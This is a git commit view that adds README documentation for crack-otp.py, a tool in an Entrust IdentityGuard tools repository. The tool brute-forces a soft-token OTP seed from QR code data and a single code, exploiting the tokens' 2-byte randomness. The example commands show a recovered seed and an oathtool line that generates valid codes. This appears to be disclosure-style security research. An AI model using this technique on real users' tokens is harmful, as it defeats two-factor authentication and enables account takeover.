summaryrefslogtreecommitdiffstats
path: root/README.md
diff options
context:
space:
mode:
authorStephen Shkardoon <ss23@ss23.geek.nz>2019-10-07 10:33:05 +0200
committerStephen Shkardoon <ss23@ss23.geek.nz>2019-10-07 10:33:05 +0200
commit3af9c9e5ea49fdefd748a1be7d3a0f5097498aae (patch)
tree7ca702c153b7b6fa2f8fe1d955ee47842ae58630 /README.md
parentAdd optional policy parameter to OTP generation (diff)
downloadentrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar.gz
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar.bz2
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar.lz
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar.xz
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.tar.zst
entrust-identityguard-tools-3af9c9e5ea49fdefd748a1be7d3a0f5097498aae.zip
Diffstat (limited to 'README.md')
-rw-r--r--README.md26
1 files changed, 26 insertions, 0 deletions
diff --git a/README.md b/README.md
index 3932606..3bbdd0e 100644
--- a/README.md
+++ b/README.md
@@ -41,3 +41,29 @@ Counter: 0x31EB8E5 (52345061)
814835
```
+
+# crack-otp.py
+Because Entrust soft tokens only use 2 bytes of randomness generated on the end-user device, this means they're trivially bruteforcable given the original QR code and a single OTP output. Simply decode the QR code as usual, and provide it to the script along with an example OTP output and when it was generated. The script will do a sloppy match on the timing (+ and - 30 seconds) to improve the chances of a successful key being found, unless the `--strict-time` paramater is given which causes the script to do an search match.
+
+The script is fast enough on a CPU that a CUDA/OpenCL implmentation is probably not necessary.
+
+Example:
+```
+$ time ./crack-otp.py 48244-13456 1745-7712-6942-8698 043700 1570434609
+Possibe valid OTP seed found: 9a8eab5ecc9fc413758a92ac223dc6a0
+To generate a code immediately, run:
+oathtool -v --totp=sha256 --digits=6 9a8eab5ecc9fc413758a92ac223dc6a0
+
+real 0m3.540s
+user 0m3.537s
+sys 0m0.003s
+
+$ time ./crack-otp.py 48244-13456 1745-7712-6942-8698 043700 1570434609 --strict-time
+Possibe valid OTP seed found: 9a8eab5ecc9fc413758a92ac223dc6a0
+To generate a code immediately, run:
+oathtool -v --totp=sha256 --digits=6 9a8eab5ecc9fc413758a92ac223dc6a0
+
+real 0m1.212s
+user 0m1.209s
+sys 0m0.003s
+```